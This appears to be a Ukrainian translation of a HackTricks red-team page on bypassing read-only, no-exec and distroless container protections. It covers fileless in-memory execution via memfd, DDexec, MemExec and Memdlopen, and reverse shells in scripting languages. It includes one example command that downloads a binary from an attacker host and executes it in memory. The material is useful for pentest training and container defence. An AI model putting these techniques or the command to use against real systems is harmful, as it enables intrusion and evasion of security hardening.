Bypass FS protections: read-only / no-exec / Distroless

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Відео

У наступних відео ви знайдете техніки, згадані на цій сторінці, пояснені більш детально:

Сценарій тільки для читання / без виконання

Стає все більш поширеним знаходити лінукс-машини, які мають захист файлової системи тільки для читання (ro), особливо в контейнерах. Це тому, що для запуску контейнера з файловою системою ro досить просто встановити readOnlyRootFilesystem: true в securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Однак, навіть якщо файлова система монтується як ro, /dev/shm все ще буде доступним для запису, тому це фактично означає, що ми можемо записувати дані на диск. Однак ця папка буде монтуватися з захистом no-exec, тому якщо ви завантажите бінарний файл сюди, ви не зможете виконати його.

З погляду червоної команди це ускладнює завантаження та виконання бінарних файлів, яких немає в системі (наприклад, backdoors або інструменти для переліку, такі як kubectl).

Найпростіший обхід: Сценарії

Зверніть увагу, що я згадав про бінарні файли, ви можете виконати будь-який сценарій, якщо інтерпретатор знаходиться всередині машини, наприклад, сценарій оболонки, якщо присутній sh або сценарій Python, якщо встановлено python.

Однак цього недостатньо для виконання вашого бінарного backdoor або інших бінарних інструментів, які вам може знадобитися запустити.

Обхід пам'яті

Якщо ви хочете виконати бінарний файл, але файлова система не дозволяє цього зробити, найкращий спосіб - виконати його з пам'яті, оскільки захисти не застосовуються там.

Обхід FD + exec syscall

Якщо у вас є потужні скриптові двигуни всередині машини, такі як Python, Perl або Ruby, ви можете завантажити бінарний файл для виконання з пам'яті, зберегти його в дескрипторі файлу пам'яті (create_memfd syscall), який не буде захищений цими захистами, а потім викликати системний виклик exec, вказавши fd як файл для виконання.

Для цього ви можете легко використовувати проект fileless-elf-exec. Ви можете передати йому бінарний файл, і він згенерує сценарій на вказаній мові з бінарним файлом стиснутим і закодованим у b64 з інструкціями для декодування та розпакування його в fd, створеного за допомогою виклику create_memfd syscall та виклику exec syscall для його запуску.

Це не працює в інших мовах сценаріїв, таких як PHP або Node, оскільки вони не мають жодного стандартного способу виклику сирі системні виклики з сценарію, тому неможливо викликати create_memfd для створення дескриптора файлу пам'яті для зберігання бінарного файлу.

Більше того, створення звичайного дескриптора файлу з файлом у /dev/shm не працюватиме, оскільки ви не зможете його запустити через застосування захисту no-exec.

DDexec / EverythingExec

DDexec / EverythingExec - це техніка, яка дозволяє вам змінювати пам'ять вашого власного процесу, перезаписуючи його /proc/self/mem.

Отже, керуючи кодом асемблера, який виконується процесом, ви можете написати шелл-код та "мутувати" процес для виконання будь-якого довільного коду.

DDexec / EverythingExec дозволить вам завантажувати та виконувати ваш власний шелл-код або будь-який бінарний файл з пам'яті.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Для отримання додаткової інформації про цю техніку перевірте Github або:

MemExec

Memexec - це природний наступний крок після DDexec. Це демонізований shellcode DDexec, тому кожного разу, коли вам потрібно запустити інший бінарний файл, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та запуску.

Ви можете знайти приклад того, як використовувати memexec для виконання бінарних файлів з PHP зворотним шелом за посиланням https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

З аналогічною метою DDexec, техніка memdlopen дозволяє легший спосіб завантаження бінарних файлів в пам'ять для подальшого їх виконання. Це може навіть дозволити завантажувати бінарні файли залежностей.

Обхід Distroless

Що таке distroless

Контейнери Distroless містять лише мінімальний набір компонентів, необхідних для запуску конкретного додатка або служби, таких як бібліотеки та залежності виконання, але виключають більші компоненти, такі як менеджер пакетів, оболонка або службові програми.

Метою контейнерів Distroless є зменшення поверхні атаки контейнерів шляхом усунення непотрібних компонентів та мінімізація кількості вразливостей, які можуть бути використані.

Зворотній шел

У контейнері Distroless ви можливо навіть не знайдете sh або bash, щоб отримати звичайну оболонку. Ви також не знайдете бінарних файлів, таких як ls, whoami, id... все, що зазвичай виконуєте в системі.

Отже, ви не зможете отримати зворотню оболонку або провести перелік системи, як зазвичай.

Однак, якщо компрометований контейнер запускає, наприклад, веб-додаток flask, то встановлено Python, і тому ви можете отримати зворотню оболонку Python. Якщо він запускається на node, ви можете отримати оболонку Node, і те ж саме з практично будь-якою мовою сценаріїв.

Використовуючи мову сценаріїв, ви можете провести перелік системи, використовуючи можливості мови.

Якщо відсутні захисти read-only/no-exec, ви можете зловживати своєю зворотною оболонкою, щоб записати свої бінарні файли в файлову систему та виконати їх.

Однак у таких контейнерах зазвичай існуватимуть ці захисти, але ви можете використати попередні техніки виконання в пам'яті для їх обходу.

Ви можете знайти приклади того, як експлуатувати деякі вразливості RCE для отримання зворотних оболонок мов сценаріїв та виконання бінарних файлів з пам'яті за посиланням https://github.com/carlospolop/DistrolessRCE.

Якщо вас цікавить кар'єра хакера та взлам невзламного - ми наймаємо! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated